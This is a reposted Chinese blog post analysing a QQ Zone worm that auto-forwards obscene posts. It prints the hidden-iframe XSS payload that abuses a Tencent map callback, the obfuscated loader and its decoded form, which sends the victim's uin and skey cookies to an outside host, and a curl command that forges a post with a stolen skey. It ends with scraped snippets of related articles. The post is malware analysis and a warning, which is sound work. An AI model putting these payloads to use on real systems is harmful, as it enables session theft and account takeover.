(转)关于恶意说说自动在QQ空间转发的机制

有些很讨厌的带链接说说,只要你在手机打开它,就会自动转发,内容极其不雅

一怒之下我决定看个究竟
首先,在此页开头有此关键语句:

1 <iframe
2 src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//"
3 name="s=document.createElement(‘script‘);document.body.appendChild(s);s.src=‘http://conf3.gamexm.net/moo.js‘;" style="display:none">
4 </iframe>

<iframe … style=”display:none”表明了这是一个隐藏的窗口,
src是一个精心构造的URL作为窗口的内容,
窗口名name是一段脚本

首先,浏览器会加载http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//
http://rtb.map.qq.com/rtbus?qt=comps&cb=#Your_Code_Here#

这是腾讯地图的 RealTime Bidding(实时竞价,RTB)API,会受到腾讯自己和杀软的信任,它的作用是返回这样的格式:
#Your_Code_Here# && #Your_Code_Here#({“detail”:{“comp_list”:[{“city”:3,”comp_id”:1,”name”:”腾讯北分”}],”num”:1},”info”:{“error”:0,”type”:86}})

腾讯北分,真是233到不行。看来北分在积极参与啊!

于是<iframe> 里面出现这样一个东西:

1 </script><svg><script>eval(window.name);// && </script><svg><script>eval(window.name);//({"detail":{"comp_list":[{"city":3,"comp_id":1,"name":"腾讯北分"}],"num":1},"info":{"error":0,"type":86}})

呵呵,这不是一个XSS(跨站点攻击脚本)吗!!!
“</script><svg>”由于浏览器的容错性被忽视了,“//”大家都知道是注释,于是最终效果就是这个:
eval(window.name);

eval(“s=document.createElement(‘script’);document.body.appendChild(s);s.src=’http://conf3.gamexm.net/moo.js’;”)
eval作用是把字符串作为代码解析。
s=document.createElement(‘script’);document.body.appendChild(s);会在文档结尾创建<script></script>标签,此标签内的代码会被执行

标签内的代码变成了http://conf3.gamexm.net/moo.js这个恶意脚本

这个脚本是这样的:
OlOlll=”(x)”;OllOlO=” String”;OlllOO=”tion”;OlOllO=”Code(x)}”;OllOOO=”Char”;OlllOl=”func”;OllllO=” l = “;OllOOl=”.from”;OllOll=”{return”;Olllll=”var”;eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)
…………………………………………(略)特别长,特别费解,也是精心设计的!

请注意Ol不是01,是英文字母,为了造成阅读困难。eval已经暴露了一切。来,我们一窥究竟!
按照OlOlll=”(x)”;等等进行替换

好,我们先解决第一部分,整理后如下:

 1 OlOlll="(x)";
 2 OllOlO=" String";
 3 OlllOO="tion";
 4 OlOllO="Code(x)}";
 5 OllOOO="Char";
 6 OlllOl="func";
 7 OllllO=" l = ";
 8 OllOOl=".from";
 9 OllOll="{return";
10 Olllll="var";
11 eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);

然后可以得出

eval("var l = function(x){return String.fromCharCode(x)}");

好了,l是个函数,返回数字ascii码对应的字符,然后下面一段意图就非常显然了:

eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));

解析后得到

1 eval("O=function(m){return String.fromCharCode(Math.floor(m/10000)/99);}");

呵呵,函数O这是要玩大的数啊!!!
下面的非常可怕,不过可以用调试得出答案
eval(“”+O(100980757)+O(115834719)+O(108907232)+O(98018607)+O(114843475)+O(103957850)+O(109895097)+O(108901326)+O(31681911)+O(101979572)+O(99991327)+O(114842917)+O(70290385)+O(83168569)+O(74258232)+O(39600813)+O(113855001)+O(114847653)+O(112861483)+O(40597539)++O。。。(实在太长了)
解析排版,删去干扰字符得到后得到:

 1 function getGTK(str)
 2 {
 3 var hash = 5381;
 4 for (var i = 0, len = str.length; i < len; ++i)
 5 {
 6 hash += (hash << 5) + str.charAt(i).charCodeAt();
 7 }
 8 return hash & 0x7fffffff;
 9 }
10 function getCookie(name)
11 {
12 var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
13 if (arr = document.cookie.match(reg)) return unescape(arr[2]);else return null;
14 }
15 var q=parseInt(getCookie("uin").replace("o", ""));
16 var k=getCookie("skey");
17 var oHead = document.getElementsByTagName(‘HEAD‘).item(0);
18 var toscript = document.createElement("script");
19 toscript.type = "text/javascript";
20 toscript.src = "http://config.baigou51.com/getcookie.asp?q="+q+"&s="+k+"&g="+getGTK(k)+"&t=3";
21 oHead.appendChild(toscript);

TMD!!!还没有结束!!!继续战斗!!!
Cookie是一类数据,由网站生成,涉及用户的关键、动态信息(比如判断用户是否登陆)
我进入QQ空间后,Cookie为
uin=o2980412917; [email protected];
uin显然为O+我的QQ号,skey是个关键临时密码,(我重登后就过期了,所以不用试!)

getCookie(name)函数用于获取我的Cookie
getGTK(str)是为了给skey签名,这样可以确保skey是有效的
然后这段代码会在网页里面产生如下脚本并执行:

1 <script src="http://config.baigou51.com/getcookie.asp?q=&[email protected]&g=1850298802&t=3" />

其实就是执行那个链接,把你的skey交给服务器。然后,一切结束了。
因为skey功能是这样的:
“skey权限代码,也就是说如果可以获得一个QQ号码的Skey代码,也就相应的拿到了对方QQ登陆和管理权限,这意味着你完全可以以主人的身份分分钟进入对方的空间、查看加密的相册,甚至发表说说,删除留言…”

QQ号+skey就有了一切!服务器自动替你发说说!!!
比如只要

curl "http://user.qzone.qq.com/q/taotao/cgi-bin/emotion_cgi_forward_v6?g_tk=1850298802" -H "Host: user.qzone.qq.com" (略去一些数据) -H "Referer: http://user.qzone.qq.com/2980412917/main" -H "Cookie:uin=o########; skey=*******;" --data "说说内容"

然后就有一条说说出现在你的空间里面!

你输了!!!

唯一解决方法就是退出空间(手机需要退出QQ),重新登陆QQ,这样会产生新的skey,原来的skey就无效了.
刷新网页,或者关掉手机QQ空间,不会改变skey

Tencent空间使用了各种方法来保护skey,但是防不住如此的伪装。另外腾讯北分为此做了重大贡献!

战斗已经结束,好久没有这么精彩的一遭了.各位晚安!望引以为戒!

转自:http://zsy.blog.ustc.edu.cn/archives/133

时间: 2024-10-12 03:55:48

(转)关于恶意说说自动在QQ空间转发的机制的相关文章

console前端代码自动删除QQ空间我的说说

function del() { if(document.querySelector('.app_canvas_frame').contentDocument.querySelector('.del_btn') == null){ var index = document.querySelector('.app_canvas_frame').contentDocument.querySelector(".mod_pagenav_main").querySelector(".c

php模拟用户自动在qq空间发表文章的方法

我们这里是一个简单的利用php来模拟登录后再到QQ空间发送文章的一个简单的程序,有需要的朋友可以参考,或改进可以给我意见,代码如下: [php] view plaincopy <?php //模拟get post请求函数 http://www.lai18.com /* 函数说明: 功能:请求方式可以get,post,可以发送的cookie,保存的cookiefile文件 参数:$url-----请求url    $referer---来源url    $postdata----------用于p

自动删除qq空间说说

var delay = 1000;   function del() {     document.querySelector('.app_canvas_frame').contentDocument.querySelector('.del_btn').click();     setTimeout("yes()", delay); }   function yes() {     document.querySelector('.qz_dialog_layer_btn').click

raspberry pi 自动发布天气信息到QQ空间/微博

raspberry pi 自动发布天气信息到QQ空间/微博 参考链接: https://aoaoao.me/951.html/comment-page-1 http://www.ipip5.com/today/api.php?type=json 说明: 天气信息来自于百度地图API,历史上的今天来自于网络API(见上). 准备工作: 安装python(没有的,自行下载安装) 安装requests: git clone git://github.com/kennethreitz/requests.

QQ空间自动评论自动转发 微博自动自动转发神器带源码(超简单) 升级版

//QQ空间自动评论自动转发 Dim iy Rem head iy = 0 Rem nextfind FindPic 0,iy,1366,768,"Attachment:\qqzf.bmp",0.9,intX,intY If intX > 0 And intY > 0 Then //MessageBox "aa" MoveTo intX , intY Delay 500 LeftClick 1 MoveTo 0,0 Delay 2000 SayStrin

不用写软件,纯JS 实现QQ空间自动点赞

这里分享一个自己写的点赞JS,已实现了右边图片点赞,有兴趣的朋友可以加上去玩玩.打开浏览器的开发者模式运行就可以看到效果了 function ilike() { var b = document.getElementById("fhp_like"); var c = b.childNodes[1]; console.log(c.childNodes.length); for (var i = 0; i < c.childNodes.length; i++) { var a1 =

QQ空间自动评论自动点赞 微博自动点赞自动转发神器带源码(超简单)

原理:先找到对应的图,得到坐标点击.或转发,向下翻页.自动巡屏.关于怎么判断是否已经赞或已经转发,是通过图片不一样,或者把屏从上到下分多个块实现的. // QQ空间自动点赞机 小黄人为您点赞. //12行代码实现.源码:Rem head FindPic 0,0,1024,768,"Attachment:\zan.bmp",1,intX,intY If intX > 0 And intY > 0 Then MoveTo intX+5, intY+5 Delay 100 Lef

新浪微博、腾讯微博、QQ空间、人人网、豆瓣 一键分享API

新浪微博: http://service.weibo.com/share/share.php?url= count=表示是否显示当前页面被分享数量(1显示)(可选,允许为空) & url=将页面地址转成短域名,并显示在内容文字后面.(可选,允许为空) & appkey=用于发布微博的来源显示,为空则分享的内容来源会显示来自互联网.(可选,允许为空) & title=分享时所示的文字内容,为空则自动抓取分享页面的title值(可选,允许为空) & pic=自定义图片地址,作为

怎样查找MP3音乐链接地址 用于QQ空间背景

想盗用别人QQ空间的背景音乐的,另一篇教程点击进入 方法1.利用QQ邮箱的收藏功能自己上传歌曲获取链接地址,最近发现这个方法的链接过一段时间就失效了,原因是因为链接地址自动发生变化,如果链接失效了,请进您的QQ邮箱重新获取地址就可以了.QQ邮箱有50M收藏空间,你可以把音乐先下载下来,然后上传到QQ邮箱获得它的地址,有的人可能会说在一个网页上听到好听的歌,可是他不提供下载,自己在百度QQ上都下载不到,不要急,你可以参照下面的第4种方法进行下载 1.进入QQ邮箱,点击左下方的“文件中转站”选择“收